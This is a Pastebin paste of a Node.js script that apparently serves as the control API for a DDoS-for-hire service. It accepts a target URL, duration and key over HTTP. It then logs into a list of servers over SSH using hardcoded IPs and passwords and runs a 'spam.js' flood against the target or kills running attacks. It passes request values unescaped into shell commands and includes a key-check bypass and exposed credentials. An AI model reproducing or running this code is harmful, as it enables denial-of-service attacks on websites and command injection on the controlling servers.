Advertisement
Arbitrator

Untitled

Jan 3rd, 2020
8,745
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.56 KB | None | 0 0
  1. const net = require('net');
  2. const Client = require('ssh2').Client;
  3. const http = require('http');
  4. const url = require('url');
  5. const fs = require('fs');
  6.  
  7. const methods = [
  8. "SPAMGET",
  9. "SPAMPOST",
  10. "BYPASS",
  11.  
  12. "STOP"
  13. ];
  14.  
  15.  
  16. var servers = [
  17.  
  18. {
  19. ip: "101.99.90.71",
  20. username: "admin",
  21. password: "wtfY@xv4o%MhS%DaQoBxo8fxJhqwndTT@H2"
  22. },
  23. {
  24. ip: "1.2.3.22",
  25. username: "root",
  26. password: "password"
  27. },
  28.  
  29. ]
  30.  
  31.  
  32. var keys = [{
  33. key: "TkAd6wCjRTVdnBJVn7cTJEKJ6JEB5XmfZjf",
  34. concurrents: 4,
  35. maxtime: 1800,
  36. attacks: 0,
  37. admin: true
  38. }]
  39.  
  40.  
  41. process.on('uncaughtException', function(e) {
  42. console.warn(e);
  43. });
  44.  
  45. process.on('unhandledRejection', function(e) {
  46. console.warn(e);
  47. });
  48. var client = new net.Socket();
  49.  
  50. var httpServer = http.createServer().on('request', function(request, response) {
  51. request.query = url.parse(request.url, true).query;
  52. if (methods.indexOf(request.query.method) === -1 || request.query.time < 10) return response.end('gay');
  53. if (!request.query.url) {
  54. return response.end('{"error": "No URL mentioned."}');
  55. }
  56. if (!request.query.time) {
  57. return response.end('{"error": "No time given"}');
  58. }
  59. if (!request.query.method) {
  60. return response.end('{"error": "No method given"}');
  61. }
  62. if (request.query.key || request.query.dns) {
  63. console.log("key is " + request.query.key);
  64. console.log("request.query.keydb is " + request.query.keydb);
  65. console.log("request.query.dns is " + request.query.dns);
  66. request.query.keydb = keys.find(akey => akey.key == request.query.key);
  67. if (request.query.keydb || request.query.dns) {
  68. if (request.query.dns) {
  69. request.query.keydb = {
  70. concurrents: 1e3,
  71. maxtime: 1e6,
  72. attacks: -1e6
  73. };
  74. }
  75. if (request.query.method == 'STOPALL') {
  76. if (request.query.keydb.admin) {
  77. execute("sudo pkill .js -f; sudo pkill https:// -f; sudo pkill http:// -f;");
  78. response.end("Attack has been sent on " + request.query.url);
  79. }
  80. }
  81. else if (request.query.method == 'SPAMGET') {
  82. if (request.query.keydb.admin) {
  83. execute("sudo node spam.js " + "get " + request.query.url + " " + request.query.time);
  84. response.end("Attack has been sent on " + request.query.url);
  85. }
  86. else if (request.query.method == 'SPAMPOST') {
  87. if (request.query.keydb.admin) {
  88. execute("sudo node spam.js " + request.query.url + " " + request.query.time);
  89. response.end("Attack has been sent on " + "post " + request.query.url);
  90. }
  91. }
  92. else if (request.query.method == 'STOP') {
  93. if (request.query.keydb.admin) {
  94. execute("sudo pkill " + request.query.url + " -f");
  95. response.end("Stopped attack on " + request.query.url);
  96. }
  97. }
  98. } else {
  99. response.end("Wrong key");
  100. }
  101. } else {
  102. response.end("No key was mentioned.");
  103. }
  104. } else {
  105. response.setHeader('content-type', 'text/html');
  106. return response.end('maintenance');
  107. }
  108. });
  109. httpServer.listen(12,function(){
  110. console.log('Server is running on port 12');
  111. });
  112. function execute(command, serversLimit) {
  113. servers.forEach(function(server) {
  114. var conn = new Client();
  115. conn.on('ready', function() {
  116. console.log('Client :: ready');
  117. conn.exec(command, function(err, stream) {
  118. if (err) throw err;
  119. stream.on('close', function(code, signal) {
  120. console.log('Stream :: close :: code: ' + code + ', signal: ' + signal);
  121. conn.end();
  122. }).on('data', function(data) {
  123. console.log('STDOUT: ' + data);
  124. }).stderr.on('data', function(data) {
  125. console.log('STDERR: ' + data);
  126. });
  127. });
  128. }).connect({
  129. host: server.ip,
  130. port: 22,
  131. username: server.username,
  132. password: server.password
  133. });
  134. });
  135. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement